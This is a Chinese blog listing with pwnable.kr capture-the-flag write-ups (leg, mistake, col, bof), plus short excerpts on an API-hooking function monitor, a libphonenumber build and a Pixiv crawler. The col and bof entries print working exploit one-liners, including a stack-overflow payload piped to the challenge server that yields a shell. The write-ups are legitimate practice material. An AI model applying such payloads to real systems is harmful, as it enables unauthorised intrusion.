分类: <span>程序</span>

pwnable.kr 练习(二)

Toddler’s Bottle

leg

关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址,ARM 中的 pc 是下下条。假设当前指令地址为 x,即

  • ARM 模式:pc = x + 8
  • Thumb 模式:pc = x + 4

按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770,输入就好了

108400

mistake

因为运算符优先级问题,fd 被赋值成 0,也就是 stdin,和 password 文件就没有关系了,可以输入

1111111111
0000000000

pwnable.kr 练习(一)

Toddler’s Bottle

col

./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"

bof

一开始不熟悉输入处理,花了不少时间……echo 后面追加 cat 可以使输入流关闭,成功获得 shell。(PS:一开始拿到了 shell 还不自知……)不加 cat 的话则会提示 *** stack smashing detected ***: terminated

(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000

实现函数监视器

函数监视器可以监视代码中对外部函数的调用情况,通过这些调用信息可以让我们方便理解程序的意图。
类似的实现思路可以用 dll 转发或者微软的 detour 库实现 api hook。
最近我自己写了一个函数监视器,可以监视进程内所有模块导出函数的调用情况,并且可以自行选择需要监视和设置断点的函数。


使用 CMake 编译 vc90 版 libphonenumber

这是一份使用 vs2008 和 CMake 料理 libphonenumber 的食谱。

准备原料


pixivspider – P 站爬虫工具

主要功能

根据定义的 ID 列表下载每个画师的所有插画

下载链接

PixivSpider

如何使用